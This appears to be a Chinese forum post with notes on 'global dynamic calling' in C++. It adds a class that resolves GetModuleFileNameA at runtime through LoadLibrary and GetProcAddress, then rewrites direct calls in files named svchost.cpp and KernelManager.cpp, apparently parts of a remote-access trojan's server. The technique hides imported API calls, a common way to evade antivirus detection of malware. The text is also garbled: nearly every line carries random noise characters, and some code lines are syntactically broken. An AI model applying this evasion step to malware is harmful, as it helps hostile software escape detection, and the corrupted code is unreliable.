[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
1 w! d9 @7 d" f5 u) K8 \svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h5 W, D2 p' b0 c' S# Z" d5 ]/ a
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; G& \' l0 g2 xDTDY.h：
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. I5 j  S; P$ p3 p3 j4 `: o; F#if _MSC_VER>1000
3 a' ]: \% N: R4 E4 Z1 j$ W& v#pragma once
2 m$ X' j: n! Q/ N: i#endif //_MSC_VER>10001 s2 W  B* f1 L5 p; `
#include<windows.h>$ B5 ~2 W+ a+ }0 ]* ]' K8 c: l

" e& _( W; \* M  f# A' F( X( ytypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
6 M3 B; S: i/ f* ?; L+ Iclass DTDY0 X7 u; z; m3 X6 Q; q+ |0 }
{
  l# t; M) k2 R" X4 L+ C* a  |public:
; O9 u. |8 c/ p$ e+ Z' zDTDY();! I7 r( S3 ~2 O( r5 y3 V* F6 a# }
virtual ~DTDY();
3 G: ~$ k% _# Cpublic:
5 R/ L3 v3 O9 q5 Bstatic pGetModuleFileNameA MyGetModuleFileName;: r/ e' d, D% Q. E  y
static BOOL FunInitiallization();
! _/ D7 I2 m! D! `8 q. S8 B};
3 r9 }5 e" J# t% b, T$ o0 y1 G/ J#endif& v% i* ]! s2 Z, A! ]5 i6 X+ \# Q
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/ t( u; O# x6 s) V5 A; k- zDTDY.cpp:
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#include "DTDY.h"
& u4 c+ O$ Z* Y$ E/ V% YpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
; V* Z6 H1 N5 t$ W# K9 [  dDTDY:TDY()* X" ?0 R' @! ]: k5 q1 p1 ?
{
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DTDY::~DTDY()1 O0 a* W4 A9 P4 n- c8 n
{
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BOOL DTDY::FunInitiallization()# {1 z3 ^0 A- b- a* ~# L
{
8 q: }- ]3 U- iHMODULE hModule=LoadLibrary("kernel32.dll");) P" y1 M2 w1 A( F# q
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");. l/ F0 F5 c" d' m8 m
if(!MyGetModuleFileName=) return FALSE;1 ]. p# b8 i* J9 m. p8 \  S
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return TRUE;
5 \% I( w1 b: Q# T}. R* D9 Q7 @, K% T3 T2 k7 {
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5 q' f' a- L0 `3 Q" W2 fsvchost.cpp:
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#include "DTDY.h"( X# [* r# `- k  u5 |
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)0 U. Z1 D: K5 ]/ R/ O
{
6 ^0 J8 n* p; J4 @switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:
# c# ~7 C* h7 w4 Qif(!DTDY::FunInitiallization()) return FALSE;/ \4 Q" `& L$ M/ X; t4 i# U7 p* X
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break;
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def2 ]* U# P$ a* o  u7 h
改写为
1 \7 e! X$ e" W% E) bDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));, x8 \+ |3 O  ^* F% l- ~  l/ l
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KernelManager.cpp:% g2 Y2 s. A# X

$ _, X! Y0 X( H( n#include "../DTDY.h"& o9 Q( G8 |$ p6 ?1 f* Z2 c
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: M" ]+ [: i, X
改写为" Z+ R6 G' N7 Z5 k6 w
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));0 y0 n. E) Q8 d9 e
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